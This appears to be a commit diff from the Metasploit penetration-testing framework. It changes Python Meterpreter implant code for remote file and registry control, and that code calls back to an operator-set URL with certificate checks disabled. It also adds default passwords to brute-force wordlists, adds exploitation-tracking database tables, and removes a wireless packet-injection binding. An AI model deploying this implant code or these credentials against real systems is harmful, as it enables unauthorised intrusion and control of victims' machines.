███ ██████████▄██████ ██▄▄▄▄█▄▄▄██████ 
▀▄██ ▄█▄▄█▄████▄▄█▄▄▄█▄▄▄▄█▄▄█████▄▄████████ 
▀█ ███▄██████████▄▄███▄██▄▄██████▄▄███████ 
▄▀ ▀▀█▄▄▄▄▄███▄▄▄▄▄▄▄██▄███▄███▄▄██████▄▀ 
▀ ██▄▄██▄▄█▄▄▄▄▄▄▄ ▀▀▄▄█▄▄▄███▄▄ 
█████▄▄█▄▄███▄▄▄█ ████▄▄███▄▄
█▄▄█▄▄▄▄▄█▄██▄▄█ ███▄█▄▄▄█▄██
▄▄▄█▄█████▄████ ▀▄█████▄▄██▀
▄█▄▄▄▄███▀▄█▄████▄█ ▀▄█▄▄███ ▄
▄▄██▄██▄▄▄▀█▄███▄██▄▀ ▄▄█▄█▄▄█
█▄██████ ███▄▄███▄▀ ▀▄▄▄▄▀▀ 
██████ ▀▀███████ 
▀▀▀▀▀▀ ▀▀▀▀▀▀ 


View File

@ -59,6 +59,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -69,6 +70,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
if has_ctypes:
#
@ -530,7 +532,7 @@ def get_stat_buffer(path):
if hasattr(si, 'st_blocks'):
blocks = si.st_blocks
st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
st_buf += struct.pack('<HHHI', si.st_uid & 0xffff, si.st_gid & 0xffff, 0, rdev)
st_buf += struct.pack('<IIII', si.st_size, long(si.st_atime), long(si.st_mtime), long(si.st_ctime))
st_buf += struct.pack('<II', blksize, blocks)
return st_buf
@ -630,7 +632,7 @@ def channel_open_stdapi_fs_file(request, response):
fmode = fmode.replace('bb', 'b')
else:
fmode = 'rb'
file_h = open(fpath, fmode)
file_h = open(unicode(fpath), fmode)
channel_id = meterpreter.add_channel(MeterpreterFile(file_h))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -923,18 +925,19 @@ def stdapi_sys_process_get_processes(request, response):
@meterpreter.register_function
def stdapi_fs_chdir(request, response):
wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
os.chdir(wd)
os.chdir(unicode(wd))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_delete_dir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if os.path.islink(dir_path):
del_func = os.unlink
else:
@ -945,7 +948,7 @@ def stdapi_fs_delete_dir(request, response):
@meterpreter.register_function
def stdapi_fs_delete_file(request, response):
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.unlink(file_path)
os.unlink(unicode(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -971,25 +974,29 @@ def stdapi_fs_file_expand_path(request, response):
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
os.rename(unicode(oldname), unicode(newname))
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
if hasattr(os, 'getcwdu'):
wd = os.getcwdu()
else:
wd = os.getcwd()
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_ls(request, response):
path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
path = os.path.abspath(path)
contents = os.listdir(path)
contents.sort()
for x in contents:
y = os.path.join(path, x)
response += tlv_pack(TLV_TYPE_FILE_NAME, x)
response += tlv_pack(TLV_TYPE_FILE_PATH, y)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(y))
path = os.path.abspath(unicode(path))
dir_contents = os.listdir(path)
dir_contents.sort()
for file_name in dir_contents:
file_path = os.path.join(path, file_name)
response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
response += tlv_pack(TLV_TYPE_STAT_BUF, get_stat_buffer(file_path))
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1008,6 +1015,7 @@ def stdapi_fs_md5(request, response):
@meterpreter.register_function
def stdapi_fs_mkdir(request, response):
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
dir_path = unicode(dir_path)
if not os.path.isdir(dir_path):
os.mkdir(dir_path)
return ERROR_SUCCESS, response
@ -1016,6 +1024,7 @@ def stdapi_fs_mkdir(request, response):
def stdapi_fs_search(request, response):
search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
search_root = ('' or '.') # sometimes it's an empty string
search_root = unicode(search_root)
glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
if recurse:
@ -1056,7 +1065,7 @@ def stdapi_fs_sha1(request, response):
@meterpreter.register_function
def stdapi_fs_stat(request, response):
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
st_buf = get_stat_buffer(path)
st_buf = get_stat_buffer(unicode(path))
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@ -1334,10 +1343,12 @@ def stdapi_net_socket_tcp_shutdown(request, response):
channel.shutdown(how)
return ERROR_SUCCESS, response
def _wreg_close_key(hkey):
ctypes.windll.advapi32.RegCloseKey(hkey)
@meterpreter.register_function_windll
def stdapi_registry_close_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
result = ctypes.windll.advapi32.RegCloseKey(hkey)
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1372,11 +1383,9 @@ def stdapi_registry_delete_value(request, response):
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_key(request, response):
def _wreg_enum_key(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
index = 0
tries = 0
@ -1399,10 +1408,22 @@ def stdapi_registry_enum_key(request, response):
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
def stdapi_registry_enum_key(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_key(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_key_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_key(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _wreg_enum_value(request, response, hkey):
ERROR_MORE_DATA = 0xea
ERROR_NO_MORE_ITEMS = 0x0103
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
name = (ctypes.c_char * 4096)()
name_sz = ctypes.c_uint32()
index = 0
@ -1426,6 +1447,20 @@ def stdapi_registry_enum_value(request, response):
index += 1
return result, response
@meterpreter.register_function_windll
def stdapi_registry_enum_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _wreg_enum_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_enum_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _wreg_enum_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_load_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)
@ -1434,16 +1469,22 @@ def stdapi_registry_load_key(request, response):
result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name)
return result, response
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
def _wreg_open_key(request):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
handle_id = ctypes.c_void_p()
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
return error_result_windows(), response
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
return error_result_windows(), 0
return ERROR_SUCCESS, handle_id.value
@meterpreter.register_function_windll
def stdapi_registry_open_key(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
response += tlv_pack(TLV_TYPE_HKEY, hkey)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
@ -1467,9 +1508,7 @@ def stdapi_registry_query_class(request, response):
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
return ERROR_SUCCESS, response
@meterpreter.register_function_windll
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
def _query_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = ctypes.c_uint32()
@ -1496,8 +1535,20 @@ def stdapi_registry_query_value(request, response):
return error_result_windows(), response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
def stdapi_registry_query_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _query_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_query_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _query_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
def _set_value(request, response, hkey):
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
@ -1505,6 +1556,20 @@ def stdapi_registry_set_value(request, response):
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
return result, response
@meterpreter.register_function_windll
def stdapi_registry_set_value(request, response):
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
return _set_value(request, response, hkey)
@meterpreter.register_function_windll
def stdapi_registry_set_value_direct(request, response):
err, hkey = _wreg_open_key(request)
if err != ERROR_SUCCESS:
return err, response
ret = _set_value(request, response, hkey)
_wreg_close_key(hkey)
return ret
@meterpreter.register_function_windll
def stdapi_registry_unload_key(request, response):
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']

View File

@ -41,6 +41,7 @@ if sys.version_info[0] < 3:
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
@ -51,6 +52,7 @@ else:
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
@ -262,7 +264,9 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if not is_bytes(value):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
@ -389,11 +393,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)

View File

@ -5,3 +5,4 @@ root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66

View File

@ -1002,3 +1002,4 @@ sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150205192745) do
ActiveRecord::Schema.define(:version => 20150326183742) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -19,6 +19,54 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.datetime "updated_at", :null => false
end
create_table "automatic_exploitation_match_results", :force => true do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_results", ["match_id"], :name => "index_automatic_exploitation_match_results_on_match_id"
add_index "automatic_exploitation_match_results", ["run_id"], :name => "index_automatic_exploitation_match_results_on_run_id"
create_table "automatic_exploitation_match_sets", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_match_sets", ["user_id"], :name => "index_automatic_exploitation_match_sets_on_user_id"
add_index "automatic_exploitation_match_sets", ["workspace_id"], :name => "index_automatic_exploitation_match_sets_on_workspace_id"
create_table "automatic_exploitation_matches", :force => true do |t|
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
t.text "module_fullname"
end
add_index "automatic_exploitation_matches", ["module_detail_id"], :name => "index_automatic_exploitation_matches_on_ref_id"
add_index "automatic_exploitation_matches", ["module_fullname"], :name => "index_automatic_exploitation_matches_on_module_fullname"
create_table "automatic_exploitation_runs", :force => true do |t|
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "automatic_exploitation_runs", ["match_set_id"], :name => "index_automatic_exploitation_runs_on_match_set_id"
add_index "automatic_exploitation_runs", ["user_id"], :name => "index_automatic_exploitation_runs_on_user_id"
add_index "automatic_exploitation_runs", ["workspace_id"], :name => "index_automatic_exploitation_runs_on_workspace_id"
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
@ -155,19 +203,22 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
end
create_table "loots", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.integer "workspace_id", :default => 1, :null => false
t.integer "host_id"
t.integer "service_id"
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.string "ltype", :limit => 512
t.string "path", :limit => 1024
t.text "data"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
t.string "content_type"
t.text "name"
t.text "info"
t.integer "module_run_id"
end
add_index "loots", ["module_run_id"], :name => "index_loots_on_module_run_id"
create_table "macros", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@ -359,6 +410,26 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
add_index "module_refs", ["detail_id"], :name => "index_module_refs_on_module_detail_id"
add_index "module_refs", ["name"], :name => "index_module_refs_on_name"
create_table "module_runs", :force => true do |t|
t.datetime "attempted_at"
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
t.integer "port"
t.string "proto"
t.integer "session_id"
t.string "status"
t.integer "trackable_id"
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
add_index "module_runs", ["session_id"], :name => "index_module_runs_on_session_id"
add_index "module_runs", ["user_id"], :name => "index_module_runs_on_user_id"
create_table "module_targets", :force => true do |t|
t.integer "detail_id"
t.integer "index"
@ -393,9 +464,11 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.boolean "critical"
t.boolean "seen"
t.text "data"
t.integer "vuln_id"
end
add_index "notes", ["ntype"], :name => "index_notes_on_ntype"
add_index "notes", ["vuln_id"], :name => "index_notes_on_vuln_id"
create_table "profiles", :force => true do |t|
t.datetime "created_at", :null => false
@ -454,6 +527,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.text "info"
end
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
add_index "services", ["name"], :name => "index_services_on_name"
add_index "services", ["port"], :name => "index_services_on_port"
add_index "services", ["proto"], :name => "index_services_on_proto"
@ -478,13 +552,16 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", :null => false
t.datetime "opened_at", :null => false
t.datetime "closed_at"
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.integer "module_run_id"
end
add_index "sessions", ["module_run_id"], :name => "index_sessions_on_module_run_id"
create_table "tags", :force => true do |t|
t.integer "user_id"
t.string "name", :limit => 1024

View File

@ -1,525 +0,0 @@
#include "Lorcon.h"
#include "ruby.h"
/*
self.license = GPLv2;
*/
/*
This is a derivative of the tx.c sample included with lorcon:
http://802.11ninja.net/lorcon/
lorcon is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
lorcon is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with lorcon; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Copyright (c) 2005 dragorn and Joshua Wright
*/
/*
Lots of code borrowed from Tom Wambold's pylorcon:
http://pylorcon.googlecode.com/ - tom5760[at]gmail.com
*/
/*
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/
VALUE mLorcon;
VALUE cDevice;
VALUE lorcon_get_version(VALUE self) {
return INT2NUM(tx80211_getversion());
}
VALUE lorcon_cap_to_list(int cap) {
VALUE list;
list = rb_ary_new();
if ((cap & TX80211_CAP_SNIFF) != 0)
rb_ary_push(list, rb_str_new2("SNIFF"));
if ((cap & TX80211_CAP_TRANSMIT) != 0)
rb_ary_push(list, rb_str_new2("TRANSMIT"));
if ((cap & TX80211_CAP_SEQ) != 0)
rb_ary_push(list, rb_str_new2("SEQ"));
if ((cap & TX80211_CAP_BSSTIME) != 0)
rb_ary_push(list, rb_str_new2("BSSTIME"));
if ((cap & TX80211_CAP_FRAG) != 0)
rb_ary_push(list, rb_str_new2("FRAG"));
if ((cap & TX80211_CAP_CTRL) != 0)
rb_ary_push(list, rb_str_new2("CTRL"));
if ((cap & TX80211_CAP_DURID) != 0)
rb_ary_push(list, rb_str_new2("DURID"));
if ((cap & TX80211_CAP_SNIFFACK) != 0)
rb_ary_push(list, rb_str_new2("SNIFFACK"));
if ((cap & TX80211_CAP_SELFACK) != 0)
rb_ary_push(list, rb_str_new2("SELFACK"));
if ((cap & TX80211_CAP_TXNOWAIT) != 0)
rb_ary_push(list, rb_str_new2("TXNOWAIT"));
if ((cap & TX80211_CAP_DSSSTX) != 0)
rb_ary_push(list, rb_str_new2("DSSSTX"));
if ((cap & TX80211_CAP_OFDMTX) != 0)
rb_ary_push(list, rb_str_new2("OFDMTX"));
if ((cap & TX80211_CAP_MIMOTX) != 0)
rb_ary_push(list, rb_str_new2("MIMOTX"));
if ((cap & TX80211_CAP_SETRATE) != 0)
rb_ary_push(list, rb_str_new2("SETRATE"));
if ((cap & TX80211_CAP_SETMODULATION) != 0)
rb_ary_push(list, rb_str_new2("SETMODULATION"));
if ((cap & TX80211_CAP_NONE) != 0)
rb_ary_push(list, rb_str_new2("NONE"));
return list;
}
static VALUE lorcon_driver_list(VALUE self) {
VALUE list;
VALUE hash;
struct tx80211_cardlist *cards = NULL;
int i;
list = rb_hash_new();
cards = tx80211_getcardlist();
if (cards == NULL) {
return(Qnil);
}
for (i = 1; i < cards->num_cards; i++) {
hash = rb_hash_new();
rb_hash_aset(hash, rb_str_new2("name"), rb_str_new2(cards->cardnames[i]));
rb_hash_aset(hash, rb_str_new2("description"), rb_str_new2(cards->descriptions[i]));
rb_hash_aset(hash, rb_str_new2("capabilities"), lorcon_cap_to_list(cards->capabilities[i]));
rb_hash_aset(list, rb_str_new2(cards->cardnames[i]), hash);
}
tx80211_freecardlist(cards);
return(list);
}
static VALUE lorcon_device_get_channel(VALUE self) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
static VALUE lorcon_device_set_channel(VALUE self, VALUE channel) {
struct rldev *rld;
Data_Get_Struct(self, struct rldev, rld);
tx80211_setchannel(&rld->in_tx, NUM2INT(channel));
return INT2NUM(tx80211_getchannel(&rld->in_tx));
}
void lorcon_device_free(struct rldev *rld) {
if (tx80211_getmode(&rld->in_tx) >= 0) {
tx80211_close(&rld->in_tx);
}
free(&rld->in_tx);
}
static VALUE lorcon_device_get_mode(VALUE self) {
struct rldev *rld;
int mode;
Data_Get_Struct(self, struct rldev, rld);
mode = tx80211_getmode(&rld->in_tx);
if (mode < 0) {
rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
switch (mode) {
case TX80211_MODE_AUTO:
return rb_str_new2("AUTO");
break;
case TX80211_MODE_ADHOC:
return rb_str_new2("ADHOC");
break;
case TX80211_MODE_INFRA:
return rb_str_new2("INFRA");
break;
case TX80211_MODE_MASTER:
return rb_str_new2("MASTER");
break;
case TX80211_MODE_REPEAT:
return rb_str_new2("REPEAT");
break;
case TX80211_MODE_SECOND:
return rb_str_new2("SECOND");
break;
case TX80211_MODE_MONITOR:
return rb_str_new2("MONITOR");
break;
default:
return Qnil;
break;
}
}
static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *setmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(setmode, "AUTO") == 0) {
mode = TX80211_MODE_AUTO;
} else if (strcmp(setmode, "ADHOC") == 0) {
mode = TX80211_MODE_ADHOC;
} else if (strcmp(setmode, "INFRA") == 0) {
mode = TX80211_MODE_INFRA;
} else if (strcmp(setmode, "MASTER") == 0) {
mode = TX80211_MODE_MASTER;
} else if (strcmp(setmode, "REPEAT") == 0) {
mode = TX80211_MODE_REPEAT;
} else if (strcmp(setmode, "SECOND") == 0) {
mode = TX80211_MODE_SECOND;
} else if (strcmp(setmode, "MONITOR") == 0) {
mode = TX80211_MODE_MONITOR;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(tx80211_setmode(&rld->in_tx, mode));
}
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) {
struct rldev *rld;
char *funcmode = StringValuePtr(rmode);
int mode = -1;
Data_Get_Struct(self, struct rldev, rld);
if (strcmp(funcmode, "RFMON") == 0) {
mode = TX80211_FUNCMODE_RFMON;
} else if (strcmp(funcmode, "INJECT") == 0) {
mode = TX80211_FUNCMODE_INJECT;
} else if (strcmp(funcmode, "INJMON") == 0) {
mode = TX80211_FUNCMODE_INJMON;
} else {
rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) {
rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qtrue;
}
static VALUE lorcon_device_get_txrate(VALUE self) {
struct rldev *rld;
int txrate;
txrate = tx80211_gettxrate(&rld->in_packet);
Data_Get_Struct(self, struct rldev, rld);
switch (txrate) {
case TX80211_RATE_DEFAULT:
return UINT2NUM(0);
break;
case TX80211_RATE_1MB:
return UINT2NUM(1);
break;
case TX80211_RATE_2MB:
return UINT2NUM(2);
break;
case TX80211_RATE_5_5MB:
return UINT2NUM(5);
break;
case TX80211_RATE_6MB:
return UINT2NUM(6);
break;
case TX80211_RATE_9MB:
return UINT2NUM(9);
break;
case TX80211_RATE_11MB:
return UINT2NUM(11);
break;
case TX80211_RATE_24MB:
return UINT2NUM(24);
break;
case TX80211_RATE_36MB:
return UINT2NUM(36);
break;
case TX80211_RATE_48MB:
return UINT2NUM(48);
break;
case TX80211_RATE_108MB:
return UINT2NUM(108);
break;
default:
rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return Qnil;
}
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) {
struct rldev *rld;
float settxrate = -1;
int txrate = -1;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card");
return(Qnil);
}
settxrate = NUM2DBL(rrate);
if (settxrate == -1) {
txrate = TX80211_RATE_DEFAULT;
} else if (settxrate == 1) {
txrate = TX80211_RATE_1MB;
} else if (settxrate == 2) {
txrate = TX80211_RATE_2MB;
} else if (settxrate == 5.5) {
txrate = TX80211_RATE_5_5MB;
} else if (settxrate == 6) {
txrate = TX80211_RATE_6MB;
} else if (settxrate == 9) {
txrate = TX80211_RATE_9MB;
} else if (settxrate == 11) {
txrate = TX80211_RATE_11MB;
} else if (settxrate == 24) {
txrate = TX80211_RATE_24MB;
} else if (settxrate == 36) {
txrate = TX80211_RATE_36MB;
} else if (settxrate == 48) {
txrate = TX80211_RATE_48MB;
} else if (settxrate == 108) {
txrate = TX80211_RATE_108MB;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this rate setting");
return(Qnil);
}
if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) {
rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx));
return(Qnil);
}
return INT2NUM(txrate);
}
static VALUE lorcon_device_get_modulation(VALUE self) {
struct rldev *rld;
int mod;
Data_Get_Struct(self, struct rldev, rld);
mod = tx80211_getmodulation(&rld->in_packet);
switch (mod) {
case TX80211_MOD_DEFAULT:
return rb_str_new2("DEFAULT");
break;
case TX80211_MOD_FHSS:
return rb_str_new2("FHSS");
break;
case TX80211_MOD_DSSS:
return rb_str_new2("DSSS");
break;
case TX80211_MOD_OFDM:
return rb_str_new2("OFDM");
break;
case TX80211_MOD_TURBO:
return rb_str_new2("TURBO");
break;
case TX80211_MOD_MIMO:
return rb_str_new2("MIMO");
break;
case TX80211_MOD_MIMOGF:
return rb_str_new2("MIMOGF");
break;
default:
rb_raise(rb_eArgError, "Lorcon could not get the modulation value");
return(Qnil);
}
return(Qnil);
}
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) {
struct rldev *rld;
char *setmod = NULL;
int mod;
Data_Get_Struct(self, struct rldev, rld);
if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) {
rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card");
return(Qnil);
}
setmod = StringValuePtr(rmod);
if (strcmp(setmod, "DEFAULT") == 0) {
mod = TX80211_MOD_DEFAULT;
} else if (strcmp(setmod, "FHSS") == 0) {
mod = TX80211_MOD_FHSS;
} else if (strcmp(setmod, "DSSS") == 0) {
mod = TX80211_MOD_DSSS;
} else if (strcmp(setmod, "OFDM") == 0) {
mod = TX80211_MOD_OFDM;
} else if (strcmp(setmod, "TURBO") == 0) {
mod = TX80211_MOD_TURBO;
} else if (strcmp(setmod, "MIMO") == 0) {
mod = TX80211_MOD_MIMO;
} else if (strcmp(setmod, "MIMOGF") == 0) {
mod = TX80211_MOD_MIMOGF;
} else {
rb_raise(rb_eArgError, "Lorcon does not support this modulation setting");
return(Qnil);
}
